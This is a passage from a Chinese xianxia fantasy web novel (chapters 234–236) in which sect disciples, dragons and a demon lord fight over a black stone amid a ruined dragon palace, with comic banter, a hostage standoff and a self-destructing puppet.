周皇夫……哦不,周潇冲任行舟点了点头,不过他没有再说什么,视线则是飘到了那边混乱中心里的三条围观龙身上,尤其是慕流月。 “还惦记着呢?果然得不到就是最好~”庄子枭嘿嘿一戳,戳在了周潇的肩膀上,把周潇戳得直皱眉。 “……”周潇无语。 任行舟在皱眉,周潇在皱眉,就连被绑着的胡长乐也在皱眉,松着眉头的是笑得极为无心的庄子枭。 “对了,来都来了,要不我帮你处理了?不要钱哦。”庄子枭似是想起了什么,随后他指了指地上的胡长乐。 “不用,我可以解决。”任行舟走过去,给胡长乐挡住了庄子枭看过来视线。 “行吧,反正,您有什么事直接联系我就好了,并且在您活着的时候,咱们的合作一直是最有效的~”庄子枭说着,就带着周潇往来时的路走去,一边走一边摇头:“果然啊……” “有感情的家伙就是容易心软。” 任行舟没有说话,只是低头看着胡长乐,胡长乐自然也安静地看着他,庄子枭俩人已经离开很远了,过了一会,任行舟伸出手轻轻摸了摸胡长乐的脑袋,并为其整理好因为打滚散乱下来的发丝。 “听话。” 这个男人再次重复了一遍这句话。 胡长乐:…… 胡长乐张了张嘴,什么也没说,她就这样看着任行舟,最后那只大手覆盖在胡长乐的眼睛上,在一阵困意袭来之前,胡长乐在想: 他真的很爱他的女儿。 …… 在俩人的轮番进攻下,顾延清傀儡身上已经出现了不少裂痕,可因为是傀儡,顾延清傀儡面上并无倦色,反倒是秦兰时和谢璟累得在旁边直喘气。 “掏不了他心窝子啊,怎么把那玩意弄出来。”秦兰时摸了摸身上那些黑色裂痕,虽然没有蔓延了,但是也没有好起来。 “……”谢璟难道就会知道吗?他还真不知道,天才也是需要完整的信息才能分析出来现在要怎么办的。 “还没耗完他身上的灵力吗?”唐山玉觉得再不耗完这个傀儡的灵力他就要虚脱在地上了。 “没有呢,我们这傀儡是真能吃啊。”秦兰时摆了摆手,他看着那傀儡身上的伤痕一阵肉痛,“嘶,这得多少钱,这可是咱们器阁阁主的得意之作,他事后非常有可能会找咱们要钱的。” 谢璟:…… 唐山玉:…… “龙王陛下呢?现如今能和这傀儡打的是不是只有他了?”唐山玉猛地想起了什么,转头看向那边围观的龙族,为什么在围观呢,因为他们被吩咐好注意周围,避免又被暗算。 “父王?父王他没有联系我?”这是慕云辰,他闻言一愣,好一副乖顺大儿子的模样。 “那老头是不是躲哪里偷闲了?我刚刚可是看到了,龙宫都被毁了,就那个女人的花园没有事。”慕流月听到这话,顿时怒从心起,但是怒火找不到可发泄的对象,所以只能一怒之下,就怒了一下。 “…父王他可能很乐于见到目前情况,难不成这是给我们的考验?”慕轻轻也觉得那个老龙不怀好心,但是因为是自己的爹,所以她努力往好处想了。 “给你们的考验,那为什么是我们在打?”秦兰时闻言就脸黑了,他一下子就怒吼出来了:“给我等着!!等事情结束我要你们龙族赔一堆东西给我们宗门!!” “这事能不能稍微……”慕云辰似乎想要好好和秦兰时小谈一下,不过目前不允许他谈事情。 因为顾延清傀儡再次举起了剑,似有再来一场随清宗内斗的趋势。 就在这时,没有人注意到的地方,不远处的魔物动了一下,而谢璟举剑的动作一顿,他低头看了一眼自己的剑,剑身在微微震动,不知为何,一种不好的预感油然而生。 “快躲开!!!”只见秦兰时猛地转过头来,他朝着谢璟所在的方向奔去,可灵力的过度使用让他身体疼痛得顿了一下,心脏砰砰直跳,似有撕裂开来的意思,“…呃!” “谢璟!!!”唐山玉也不继续维持阵法了,迷阵里头产生的迷雾飞速地散去,而他也抬脚往谢璟所在的地方冲去,手上的护体法宝已然握在了手里。 散去迷雾后,不远处的魔物身影也渐渐显现出来,只见它张开嘴,一团魔气汇聚于嘴边,就这样,这颗可以把四周毁于一旦的魔气弹发射了出去。 而魔气弹的所在地便是谢璟所站的地方。 就在唐山玉继续往前跑的时候,另一道身影比他更快地冲至了前方。 前方在那一瞬间爆炸开来,刺眼的光芒让唐山玉闭上了眼,而秦兰时也在同时伸出手将唐山玉拉到自己的怀里,混乱的气流在空中交织在一起,把俩人刮了出去。 “那边……”唐山玉挣扎着起身,顺便拉了秦兰时一把,随后他站起来似乎还准备往谢璟那边赶,可他刚迈开一步就愣在原地。 “…呃……怎么……”秦兰时显然还有些迷糊,他借着唐山玉的手臂靠在人的身上,他也跟着抬头看去,霎时间,声音也停顿了。 在那里,有一个因为这爆炸而坍陷的深坑,可这深坑并非完全塌陷,因为有一处完好无损,就在那里,就在谢璟所在的那里。 那个顾延清傀儡以一个用剑撑地,单膝跪地的姿势挡在了谢璟面前,散乱的发丝上还混着爆炸后的沙土。 谢璟坐在地上,愣愣地看着这个不知道为什么冲出来的傀儡,和师父一样的容貌,同时也有着来自师父熟悉的灵力。 此时此刻,风中飘着来自傀儡身上裂开的碎屑,轻轻地落在地上,变成了和地上尘土一样的东西,而傀儡胸前有着一个大洞,这个大洞里头有一颗黑色的石头在微微抖动着,像一颗还在跳动的心脏。 谢璟对他伸出手,似乎想要触碰什么,而那双青色的眸子在看到这一切的时候微微亮了一下,随后,他的眸子渐渐暗淡下去,下一刻,他身子往前倾倒,手上依旧拿着剑,但…… 顾延清落在了谢璟的怀里。 与此同时,胸腔里那颗黑色石头也随着他的动作滚落下来,掉在了地上,染了一身尘土。 第234章 混乱抢夺 “你为什么要这样做?”周潇看着收起手的庄子枭,接着他转头看向那边缓缓起来的魔物,从魔物身上他已经看不出这个家伙以前的模样了。 有点可悲。 “帮一下啦,不然等他们把那东西弄出来后,任魔主怎么去趁乱把那东西抢回来呢?不过也不是非要用那个。”庄子枭说着,心情很好地把玩了一下手上的弯刀,“但是若是不借用那魔物身上的力量,就这样使用那件东西,很可能会死掉呢。” “……我不想再在这里待了,总可以走了吧?”周潇没有再问什么,他轻轻摸了摸怀里的白猫,他把这个也带上了,至于其他东西,该拿也拿了。 “走了走了,我也该回去汇报一下了,接下来就是他们的事情了……”庄子枭该想走的时候,似是有所感应地抬头看去,他看到了几艘灵舟正缓缓往那破败龙宫处飞去。 “又怎么了?”周潇觉得这个海盗还真是磨磨唧唧的。 “……没什么,只是方才好像有人在看我,不过也不能说是看……”庄子枭嘿了一下,随后带着周潇往离开的方向走去,一路上,他们越过已成废墟的建筑,无声的呜咽被尽数埋在其中。 另一边,程启风站在边上,他低下头,似乎在看什么东西,只不过那双被蒙住的眼睛却告诉着其他人,他应是什么都没看到。 “怎么了?”盛礼越见此问了一句。 “…无事。”程启风轻轻摇了摇头,他转过头去,“看”向盛礼越,“那龙宫情况怎么样了?” “早塌了……这四周弥漫的魔气还真是让人恼火得紧。”盛礼越皱起了眉头,显然他对魔气的存在很不满,不然他也不会这些年一直在和魔物打交道。 他曾用长枪挑起过无数魔物头颅,逼得那些魔物不敢往朝国地界再迈一步,只不过这远远不够,盛礼越对此并不满足。 “先看看情况吧,不可贸然过去……”程启风微微一笑,随后很是心平气和地继续开口了:“对,说的是你们,我都听到了。” 正准备拿着法宝跳灵舟的叶玄洲:…… 准备要拉住叶玄洲递过来的手一起跳灵舟的江玉瑶:…… 独立自强准备自己跳灵舟的方安城:…… 跟着江玉瑶一起跳的张欣雅:…… 觉得自己不能被比下去也跟着跳的陈严:…… 准备跟随队友一起跳的梅元宝:……? 一旁看着没有动作的李行川:…… “……咳咳咳,大家冷静一点,这灵舟开得还挺快的。”马小桐说着,走出来劝说着,她努力笑着道:“不要学那什么卫朔乱来,他这种行为并不可取的。” 说着,她又心里很没底地凑过去问程启风:“卫朔真的没事吗?他都出去好一会儿了。” “自然,小桐,你不信我,也要信我算出来的命吧?我说过,卫朔此人命硬得出奇,寻常东西是要不了他的性命的。”程启风说着,装模作样地扯了一下自己没有的胡子,虚空一扯,扯出几分世外高人的味道。 “你的确这方面很厉害……”马小桐虽然信,可心里还是忍不住担忧起来,这些年跟着卫朔她都要成老妈子了,可谓是操了不少心。 “这有什么?他们想去就让他们去了。”盛礼越说着,很是无所谓地耸了耸肩,“到时候顾尊者一边保护着一群懵懵懂懂的随清宗弟子一边和敌人战斗的场景……应该会很好看吧?” “喂!你这小子是不是在阴阳我们拖了顾长老的后腿!!”叶玄洲听出了其弦外之音,当即就不满起来了,他把腿收了回来,法宝放在江玉瑶身上后就怒气冲冲地走过去。 盛礼越却只是一笑,没有再说第二遍,但是那笑容仿佛在说:怎么?不服来打我啊。 “你这人……!”叶玄洲一怒之下,就怒一下就被江玉瑶扯住了,他的怒火燃烧了一下就没有了,只是一转头又是一脸委屈,“玉瑶妹妹,你看他……” “他说得也没错,我们这样下去的确鲁莽,先打探清楚情况吧。”江玉瑶摇了摇头,虽然很不想承认,盛礼越这番话也有几分道理。 “还是有人明点事理嘛?”盛礼越拍了拍手掌,准备还想再说什么的时候,下属就有事情来报了。 盛礼越侧头一看,发现是自己派出去侦查四周的侍卫,只见那侍卫走过来朝他行了一礼,随后就开始为大家讲述他打探到的情况: “这卧吟岛上似乎发生了一起起义,未被镇压,叛军与龙卫打在一起,但他们领头都不见踪影,不过我遇到了一位名叫路仁的叛军,他告诉我们他们首领还有几位大人都在龙宫废墟里头。” “废墟里头还有什么?”盛礼越往下望去,不知何时散去的迷雾再度聚起,里头的涌动的强悍灵力让人无法忽视。 “这……”侍卫这般支支吾吾的模样,显然是没有打听出来。 “罢了,回去待命。”盛礼越又是一挥手,侍卫退下后就恭恭敬敬地回到自己所在的位置。 “…那我们的顾长老呢?在里面吗?”叶玄洲听完后,那叫一个坐立不安,那叫一个心急如焚,于是他靠在边上往下边看去。 “看不见,你看见了吗?”江玉瑶说着扭头看方安城。 “灵眼也看不到,应是有阵法阻隔。”方安城没有看其他人,而是平静地回答了江玉瑶这个问题,不过他也因此稍微安心了一下:“山玉在里面,我能够感受到他的灵力。” “我也感受到了。”李行川也在边上往下看去,他对此点了点头,“我们要做些准备再下去吗?比如拿些法宝?” “再带些灵石?万一顾长老要用呢?”张欣雅也跟着往下望,就这样,灵舟边上整整齐齐靠了好几个人。 “…我们还是先……”程启风举起手发一下话,还没等他说什么呢,站在他旁边的盛礼越唤出他的弓箭,举起来对准了天空。 而大家也因此看到了不知何时一只巨大的魔物飞在了空中,它眸中似有红光闪过,骇人无比,它周身徘徊着未散的迷雾,身下因为飞上高空而自地上拖出了长长的一道灰痕。 与此同时,一道身影跃至魔物的头上,他手提长剑,灵力肆意张扬爆炸开来,巨大的藤蔓将那魔物的身躯给绑了个彻底,只见来人大喝一声: “绞!!!” 剑随声落,自上劈下,可那剑至魔物身上的鳞片后,发出滋啦的声音,很显然没有成功将其劈碎,剑光极速闪动着,紧接着秦兰时转了身,再度给了这个魔物一下,这次他不专注于把魔物给劈开,而是将其从天空斩回了地面。 另一道刺眼的火光在天边闪过,最后以飞快的速度落在了灵舟,待火焰散去一点后,大家才发现来人正是唐山玉,他手上拿着一块黑色石头,接着他转头朝着叶玄洲的手上丢去。 “哎?哎哎?”叶玄洲慌乱地接住,然后一脸茫然地看向唐山玉,“怎么了这是?” “我把它交给你们了,你们要将其守护好。”相似的话语似乎在遥远的过去响起过,那段时光,是独属于他们之间的,一点小默契。 叶玄洲一愣,不过很快就反应过来了,他带着那东西往远处飞去,江玉瑶和方安城紧随其后,他们就这样离开了灵舟消失在了遥远的天边。 而李行川四人互相对视了一眼,此情此景令人熟悉无比,但…… 他们也跟着御起自己的飞行法器往着那三人消失的方向飞去。 在义无反顾的随清宗弟子们离开后,一道身影自天上狠狠砸了下来,砸在了灵舟上,而这人在砸下来后丝毫没有停顿地往旁边一滚,一把大刀狠狠地砸在了他方才所躺的地方。 只见谢璟躲过这一击后就用剑撑地而起,身子自空中灵活转了一圈后重新落地,与此同时,刀的主人也落在了灵舟上,他将插在地上的刀缓缓拿起,随后对准了唐山玉。 “东西呢?”任行舟面无表情地问道。 “……你猜?”唐山玉闻言一笑,他张开手掌,让任行舟看着自己空空如也的手心,那里什么都没有呢。 任行舟自是感应到东西不在唐山玉的身上,于是他稍微感应了一下,就感应到了那个东西的方位,而他也准备往那个方向跃去。 但还没等他的脚离地多远,他就感觉自己的双腿似乎被什么锁链给锁住了,抬头一看,就看到了盛礼越手拿长枪地朝着自己的面部刺来。 而那些锁链也发狠地困住他的双脚,一条两条三条……成百的锁链被众军拉住,将任行舟这位魔主困在其中。 任行舟侧头躲过了盛礼越这一刺,并且抬起手里的刀朝着人飞过去的腰身上砍去,似要给人劈个两半。 还没等刀砍过去呢,一个大锤子朝着他的脑袋飞过来,任行舟只得把刀换了个方向,转而挡这个大锤子,只见那扔出大锤子的马小桐的另一只手上还有另一个大锤子,而她也将第二个锤子再次往任行舟那边丢去。 只不过这个锤子并没有往任行舟身上飞,而是飞到了任行舟的身后,再拐了个漂亮的灵力弧线,随后朝着任行舟的后边狠狠袭去。 重重的力道砸在了任行舟的后背上,听着声音就觉得这应该打得还挺重的,可在那锤子缓缓落下的时候,任行舟的后背不知何时浮现出厚实的土壁,而这土壁上的碎土正一点一点地掉落下来。 “啊?没打到……”马小桐显然失望得很,还没等她那失望情绪散去呢,那头的任行舟也开始有下一步的动作了。 只见任行舟微微下蹲,似乎在蓄力,唐山玉见此连忙大喊:“不好!快用力!!他想要再次跳起来了!” 还没等唐山玉说完呢,任行舟就一跃而上,双腿就这样拖着那百条锁链一起腾空而起,拉不住的人摔在了地上,死死拉住但是因为同伴没拉住的人被任行舟带到了空中。 唐山玉和谢璟也一起飞至了空中,一人一边,拦在了任行舟的面前,并且俩人一起举起剑就攻上去,任行舟见此就高抬起腿,带着那些锁链一起狠狠地甩在了俩人身上。 唐山玉和谢璟被这些锁链给甩中了,俩人被砸中后就因为受力贴在了一块,然后就一起飞了出去,接着狠狠砸在了那头的柱子上,由谢璟垫底,唐山玉躺在了谢璟身上。 谢璟感觉到不属于他的沉重再次坐在自己身上,他默默抬头,对上了唐山玉那有些不好意思的笑容。 “抱歉啊谢师兄,这也太巧了,我这次真的不是故意的。”唐山玉心虚地移开了视线,随后干笑了一声,还没等他笑完呢,任行舟的那堆锁链就过来了,他连忙从谢璟身上跳起来躲了过去,徒留谢璟在原地被这些锁链给甩到。 然后,谢璟被任行舟控制着灵力操控起这些锁链给捆了个彻彻底底,他就像一只无助的毛毛虫那样躺在地上,眼里全是对唐山玉抛弃自己离去的杀意。 “…咳咳,真的对不起嘛,你等着!我这就去给你报仇!!”唐山玉说着就拿着剑往任行舟身上再次冲了过去,嘴里还喊道:“休伤我兄弟!!” …… 下一秒,谢璟毛毛虫身边多了一个唐山玉毛毛虫。 谢璟的眼神从方才的杀意变成了嫌弃,并且问道:“说好给我报仇呢?” “……对不起嘛,我一个小金丹真的打不过任海啊。”唐山玉动了动身子,发现凭借自己是挣脱不开这些金贵的锁链后就开始躺平了。 “那你喊个屁。”谢璟扭过头去不想看这个丢人玩意儿了。 “就算打不过气势上也不能输啊!”唐山玉闻言反驳道,他往前试图蠕动了一下,发现这些锁链太重了,根本动不了一点,“你看,我对你多好,知道你丢人了,所以我还特地过来陪你一起丢人了。” “……” 这人疑似脑子被任海打傻了。 第235章 爆了 任行舟在把这俩人丢下后,扭头就往着那几位随清宗弟子离开的方向飞去,盛礼越也没有拦住他,况且也拦不住,他这个队伍又不是专门打架用的。 “如今是什么情况?”接着,盛礼越让人给两只毛毛虫松绑,那些锁链被拿了回去等待下次再用,这循环利用的好习惯真是值得夸奖。 “情况就是不能让那个家伙拿到黑色石头,然后破坏他的计划……”唐山玉活动了一下手脚,确认无误后再度站了起来,“计划是什么我不是很清楚,但是和地上的那个魔物应该有点关系?还有龙族的圣物也在那个家伙的手上。” “你就这样把那东西给出去,不怕他们出事?他们和你一样都是金丹。”谢璟也跟着站起来了,他转头看向了任行舟离开的地方。 “是啊,和我一样是金丹。”唐山玉微微一笑,不过在笑的同时他也自下而上地一跃而起,随后他的剑在空中转了一圈,稳稳地停在了唐山玉的脚下,“我相信他们,但是也不会放着不管,我们跟上去吧。” “对了,你也过来,那个东西还有点用。”唐山玉御剑往前飞了几步后微微侧头看来。 “……你认真的?”谢璟听到这话后顿了顿,脸上满是不敢置信,“真要这样做?” “你别心疼啊,这是必要的牺牲。”唐山玉说完后,就先行一步了,他的身影迅速地化作一道火焰消失在了远方。 “……”谢璟沉默了。 就在盛礼越以为谢璟也要跟着去的时候,突然,谢璟转过头来看他,并且走过来,将一个东西放在了盛礼越手上。 盛礼越出于礼貌地接过去,细看一下发现这是一个药包,“这是……?” “这是给我们秦师叔用的,如果过会他打完了或者打输了,希望你们能够把这个喂给他。”谢璟说着,然后又扫了一圈周围,“此后,随清宗必定会有重谢。” “可以,我们会照顾好你们的秦师叔的。”盛礼越听到重谢后,收药包的速度也快了不少,收下来后又问道,“那么你们这次过去需要增援吗?” “需要。”谢璟一本正经地看着盛礼越。 “道友请说。” “灵石。”谢璟伸出了手,摊开来静静等候着。 盛礼越:…… 奇怪的刻板印象加深了呢。 虽然不知道他们要用来干什么,先给了再说吧。 反正他也不缺这个。 盛礼越点了点头,又是一阵豪迈的撒灵石运动,谢璟把这些灵石收起来后就毫不犹豫地转身往唐山玉离开的方向飞去。 “……我们,我们接下来就待在这里看好那位秦尊者就行了吗?”马小桐在人走后才敢出声,刚刚办正事的严肃气氛太强烈了,她都不敢说话。 “又不是朝国起义,管他们干什么?”盛礼越转过身去,站在边上遥遥地往下望去,“身为统治者,若是做到这种地步,也太糟糕了,在我们人界那里,称这群龙族一句暴君并不过分。” “是的,小桐,我们只需要看着就好了,毕竟目前这种情况,等这场混乱结束,我们应该能从中获不少利益。”程启风闻言也笑了笑,他一向是情绪稳定的。 “啊?能获得什么吗?我的确听说我们是过来和龙族商讨一些合作的,但是他们要是被拉下来了,那我们和谁讨论这些啊?”马小桐努力想了想,并没有想出个所以然来。 “自然是和胜者讨论。”盛礼越不知何已经坐在船边上,任由那双腿悬于高空,一旁的侍从也端出了美酒,让主人好好品味一番。 而盛礼越也拿过酒杯,看了下方的混乱一眼,就着这个混乱,他喝了一口酒,这酒味微酸,带有淡淡果香,细品下略有苦意。 “不管怎么样,他们要是想真正的胜利,就要先从建立开始,而建立可不只是建立房屋那么简单,还有秩序。”盛礼越看着底下的魔物,有点碍眼,但是他也知道这不是他这个实力可以打的,所以他有意让灵舟离得远一些。 “这次过来也挺碰巧的,看来我们可以更改一下合作条件了。”程启风说着,对马小桐伸出手,“来,小桐,我想回去继续下棋了,你陪我如何?” “我?我吗?好吧,都行都行。”马小桐自然是选择溺爱他了,她就这样和程启风回到位置上继续下着还没有下完的棋。 “你们都下了什么啊?为什么我看不懂……”马小桐看了看棋局,愣是看不出个所以然来,只能用混乱二字来形容这个棋局,“这也太乱了,根本看不出这到底是不是棋局。” “那就按照规则,我们来把它下正确吧。”程启风慢悠悠拿起一枚棋子,往棋盘上落去,根本不带犹豫的。 而马小桐喊起来的时候也不带犹豫的:“你下到人家棋子身上干什么!!” “抱歉,我眼瞎。” “…哦,我原谅你了。” …… “这人也追得太紧了吧?你才刚拿到没多久呢,就把东西传给我了。”张欣雅接过了江玉瑶手里的黑石头,吐槽了一句后就转身朝着另一个方向跑去。 “我会尽快喊他们支援的,你跑快点,我先躲起来好了!”江玉瑶这样说着,果断地拿出一个法宝,就在她想要找个地方使用的时候,突然一道阴影落在了她身上。 江玉瑶:…… 江玉瑶抬起了头,看着面无表情看着她的任行舟,她连忙往后退去,一脸警惕地看着任行舟:“你要做什么?东西已经不在我的身上了。” “对,我知道。”任行舟点了点头,随后笑道,“这样追下去太慢了,所以我又想了一个办法。” “…什……?”在江玉瑶还想说什么的时候,只见任行舟不知道从哪里拿出个胡长乐,随后他把刀横在了胡长乐脖颈处,此时此刻的胡长乐正处于昏迷状态。 “如果你们不在意她的话,那我也没办法。”任行舟说着叹了口气,他看向了脸色苍白的江玉瑶,笑道:“小姑娘,我也不为难你,你把那个拿着黑石头的家伙喊回来就行。” “……若我不这样做呢?”江玉瑶咽了一下口水,她默默拿出了传讯符,很是警惕地看着任行舟。 “那我就划开她的脖子,让你看着她一点一点死去……”任行舟说着,耸了耸肩,他看上去很无所谓,“小姑娘,她可是因为你而死的。” “……”江玉瑶捏着传讯符的手在微微颤抖,她看上去很害怕,同时也在犹豫。 “你要想好,小姑娘,如果那个东西比人命还要重要的话……”任行舟继续笑着,他看上去很无辜,同时手下的刀又往里按了按几分,“那我也没办法了。” “等等……别!”江玉瑶见此惊呼出来,她连忙伸出手想要阻止任行舟的这个举动,并且往前走了几步。 “我…我喊人,我这就喊人,你不要乱来。”江玉瑶看着那一动不动的胡长乐,咬了咬牙,然后很是颤抖地掏出那个传讯符,往里头输送灵力的时候,她的手是抖的。 真的要这样吗? 输送灵力的时候,江玉瑶这样想着,她和胡长乐也不算熟,平时也没怎么说过话,而且这是山玉哥哥交给他们的东西,这个东西一定很重要。 如果被眼前这个人拿到手的话,或许会发生非常糟糕的事情,到时候……到时候…… 到时候如果比目前的情况更严重的话,那她这样子,是不是做错了,并且错到无可挽回…… 怎么办…怎么办…… 怎么办啊!!! 就在江玉瑶忍不住哭出来的时候,一道声音很有兴趣地闯了进来:“那么好的事情为什么不带上我?” 这个声音…… 江玉瑶猛地抬起头,然后她就看到了之前失踪的卫朔正笑嘻嘻地蹲在屋顶上,他看着任行舟手里的刀,还有那按在脖子上的美丽画面,这一切让他不由得大喜起来。 “…你…?”任行舟也抬起头看过去,他发现这也是一个小金丹,只不过这个小金丹怎么一脸兴奋地看着他。 还没等任行舟想好呢,卫朔就拿着剑冲了下来,无比美妙地举着剑往他刀上靠过去,并且伸长了他的脖子。 任行舟:? 搞什么啊?! 出于一种被突然靠近的本能,任行舟猛地抬起脚把卫朔给踹了出去,这一踹就把人踹在旁边的墙壁上,墙壁碎了,人看上去好像也碎了,那流下来的鲜血就这样蔓延在地面上。 “……你怎么不开灵力护罩?”任行舟非常明白自己刚才那一脚,只需要用灵力护罩挡住就不会有什么事了。 “哈哈……哈……”卫朔在笑,他舔了舔嘴角边上的鲜血,满脸兴奋,并且还浮现出奇怪的红晕,他摇摇晃晃地站了起来,拿起剑,就那么歪头看着任行舟,“太棒了,这次一定可以成功的,我棺材已经买好很久了。” 正说着时,任行舟发现这人身上的伤口似乎有慢慢消退之意,这是什么体质,怎么愈合得那么快? 突地,卫朔的一张脸出现在了任行舟的下方,他满脸血,嘴角微微扬起,看上去笑得很开心,只见他举起剑猛地往任行舟手上的胡长乐刺过去。 “?!你在干什么!!!“江玉瑶发出了尖叫,她觉得卫朔真的是越来越疯了。 任行舟提起胡长乐就是一躲,睡梦中的胡长乐并不知道自己的头发因为卫朔的这个突然袭击少了几根。 “哎?你在干什么?这是好事啊…为何要避呢?“卫朔见自己这一招被躲过去后,面露不满,随后举起剑再次往任行舟手上的胡长乐刺去。 任行舟:…… 他果断地把胡长乐往旁边的地上一丢,胡长乐的梦从开开心心地和父母贴贴,变成了脚下突然出现一个黑洞,而她正飞速地往下掉去,急急的风拍打着她的脸。 “啊!”江玉瑶连忙冲过去,惊险地把人给接住了,只不过她跑太急,把自己也给摔了,于是她和胡长乐在地上滚了几下才停下来。 “哈哈…哈…哈哈哈哈!”卫朔还在笑,不过他更加开心了,他觉得这次自己肯定能死了,于是他对这个可恶的世界发出了爽朗的告别笑声。 任行舟沉默,任行舟就这样看着。 而追上来的唐山玉也在看着,他看到了这一幕,一时之间不知该如何动作,谢璟跟在后头,那笑声传得有点远,所以他也听到了。 “怎么回事?谁在发疯?”谢璟说话在某些时候总是那么的直白,那么的直抒胸臆。 “…看着有点眼熟,我不太记得他是谁。”唐山玉看着卫朔那脸,努力想想并没有想出来。 “……还救吗?”谢璟觉得这一幕实属有点滑稽。 “救吧。”唐山玉很是果断地点点头,随后他指了指那个卫朔:“把那个也救了吧?” “你确定?”谢璟不解,但是谢璟已经开始准备了。 “对,先救下来吧,虽然看着疯,但是我们又不清楚他身份,万一是什么大能的孩子呢?到时候我们不救,对方找上门来怎么办?”唐山玉觉得这人可以死,但是不能在自己面前死,所以他选择去救。 “有师父在,怕什么,再不济还有师祖。”谢璟已然学会怎么躲在长辈后边看星星看月亮了,他说起这话来无比熟练,要强谢璟的影子似乎越来越远了。 “先救吧,万一人家只是突然发病,不知自己在做什么呢?”唐山玉考虑得非常全面,他觉得自己真是个大好人啊。 “也是。”谢璟觉得这个理由也是很合理的,而他也准备好了一切,“可以了,走吧。” 话音刚落,那边的卫朔再次被任行舟打飞出去,这次可就严重不少了,卫朔感觉到骨头都断了几根,只是自己的命好像还在,不行,他得再接再厉。 于是他再次冲上前去…… 还没等他冲呢,他就被人揪住了衣领子,与此同时,在那头,江玉瑶正抱着胡长乐想着要怎么跑的时候,又有一道阴影落在了她的旁边,江玉瑶连忙惊慌失措地抱紧胡长乐。 江玉瑶小心翼翼地抬头看去,下一刻,她不由自主地笑了。 而任行舟还想继续打的时候,突然一个破破烂烂的还被穿心的傀儡被人丢在了他面前,他伸手接住,他发现这个傀儡没有脸,就是一个纯天然的傀儡。 但是任行舟眼熟这个傀儡,毕竟他之前一直在看着,而这个傀儡应该是坏掉了才是…… 咔嚓。 傀儡出现了一道裂痕,细看下似有什么光芒在裂痕里头散发出来。 任行舟:…… 不好!!! 砰!!! 傀儡爆炸了。 第236章 娘子,杀了我 秦兰时将那魔物打下去后,就特别忙碌地又给它来了一下,生怕它再度飞起来,反叛军首领拿着刀紧跟其后,他们已经一起打了几趟,也有不小的默契。 “这玩意怎么又活了,刚刚不是死了吗?”反叛军首领擦了擦脸上蹭到的残灰,往那个魔物方向呸了一口,他觉得自己再继续打架就要累死在这里了。 “它本来也没活。”秦兰时在这个魔物身上感应不到一丝活气,“估计是被人用操控尸体的邪术弄起来的,不仅如此,这玩意估计还被人稍微加工了一下,不然怎么那么难打。” “杀不死的玩意啊,那可真是糟糕,只能把它的四肢给斩断,让它不能动弹。”反叛军首领说着,就往前走了一步,随后他转过头,看着没有跟着一起往前走的秦兰时。 而秦兰时正理直气壮地看着他:“就我们几个?真的假的?我们都打那么久了,这玩意有倒下来的时候吗?” “刚刚不是倒了?”反叛军首领开始怀念起那逝去的顾延清傀儡。 “但是那个傀儡也被它给弄坏了,不能再继续了,唉这种时候就要感慨一句,假货终究是比不上真货啊。”秦兰时唉声叹气的,而在他们俩聊天的时候,慕云辰和慕流月顶替他们上去牵制着那魔物。 慕轻轻因为实力不合适,被学长带走了,当然这也是秦兰时拜托的,慕云辰和慕流月对此也是极为赞同。 正所谓少数敌不过多数,慕轻轻只能灰溜溜地跟着学长离开了,三步一回头,内心还在悲愤地喊着我什么都做不到。 “说起来……你说那是操控尸体的邪术吗?”反叛军首领略有思索,秦兰时瞥了他一眼,等待着他说出个什么所以然来。 “那么这是用残缺灵魂操控的,还是没有灵魂操控的?”反叛军首领开始往外彰显起自己渊博的学识,毕竟当初他为了搞龙族,什么玩意都去钻研过,甚至研究过一些很不是人的玩意儿,不过也是自己的道德心在作祟,所以他并没有用出来。 “这种邪术还有这两种说法?给我讲讲,放心,我不抓你。”秦兰时一副好兄弟的模样和反叛军首领勾肩搭背了起来,而且他是真的好奇。 “若只有空壳,操控起来的难度会大一些,成本也高,而且因为缺少魂魄,躯体的灵活性也不够。”那么,反叛军首领的小课堂开课了,他开始给秦兰时解释起这些邪术的区别,秦兰时也听得非常仔细。 仔细到如果苏岭月在这里,看到这一幕估计会怒气冲冲地喊一句:我当初怎么没见你那么认真听课过?! 但是苏岭月不在,他也无法得知自己的徒弟还有那么好学的一面。 “若这空壳里还有魂魄的话,只需要把这魂魄稍加炼化,再重新塞回躯壳里,因为躯体有了魂魄的存在,那么它的灵活性也会更好,毕竟,没有灵魂的话……”反叛军首领顿了顿,便叹了口气,“躯体宛若榆木,难以雕刻。” “……没有灵魂的躯壳?”秦兰时一愣,他似是想起了什么,随后道,“我好像见过类似的邪术,只不过我把他们都打倒了。” “他们行动灵活吗?”反叛军首领闻言挑了挑眉。 “像死的一样,你觉得?而且也很好打。”秦兰时总觉得自己似乎要抓住什么了,但是感觉就差一点,“总之这些邪术你在哪里看到的?” “书里有说,你想要的话,有机会我回去送给你吧,不过先说好,别给其他人看到,不然你一个好好的正道人士藏这等邪书,也够不清不白的。” “胡说,我一直很清白的!!”秦兰时本能地反驳一句,反驳完后他又道:“好呀好呀,等打完后就给我呗。” “所以这是有灵魂还是没灵魂的,不过好像也不重要。”反叛军首领这样说着,转头看向那魔物,“我这里有个术法,可以离神入体,窥探这死尸里头是否有魂魄,如果有,可以顺便毁之,到时候这个躯壳就好打很多了,杀得干净的话还能让它直接倒下呢。” “还有那么厉害的法子!你怎么不早说!!”秦兰时听到此战结束有望,瞬间就快乐起来了,“我还要去找山玉他们呢!要不是这个魔物太过分了,我也不会让任海追他们去了!” “唉,它刚刚不是倒下了吗?我还以为用不上,再说了,它拆龙宫拆那么好,我干嘛要拿出来用啊。”反叛军首领觉得自己也不是很多管闲事的妖,非要阻止这个魔物拆这个死龙宫。 “好了好了,快拿出来用吧,我给你护法!”说着,秦兰时兴致勃勃地拿出剑就要往前走去。 “不行,我不合适。”反叛军首领摇了摇头。 “为啥啊?!”秦兰时听到这话猛回头。 “呃……因为我和这个魂魄没什么缘分?稍有不慎的话,你别看我还在这里,可能我那神魂已经死了。”反叛军首领摆了摆手,他没打算把命交代在这里,他还有一大家子要养。 “那你说个屁啊!再这样你们自己打去吧,我去找我的小辈们了!”秦兰时闻言怒了一下,不过他似是想到了什么,扭头看向了那边的慕流月,“等等,你的意思是……” “对,之前那龙二似乎认识这个魔物呢,我们不如让她试试吧。”反叛军首领丝毫不客气地往那边传音过去,这让慕流月打架的动作停顿了一瞬。 只见那慕流月接住魔物一击后就往后退去,轻盈地落在了秦兰时和反叛军首领俩人的身边,她转头看去,定定瞧着反叛军首领:“此话当真?” “骗你我虽然也有好处,不过这个魔物不死,善后也很麻烦,我只是想把你们龙族设置的高墙砸了,我没想砸平民的房子谢谢。”反叛军首领一副你爱信不信的表情。 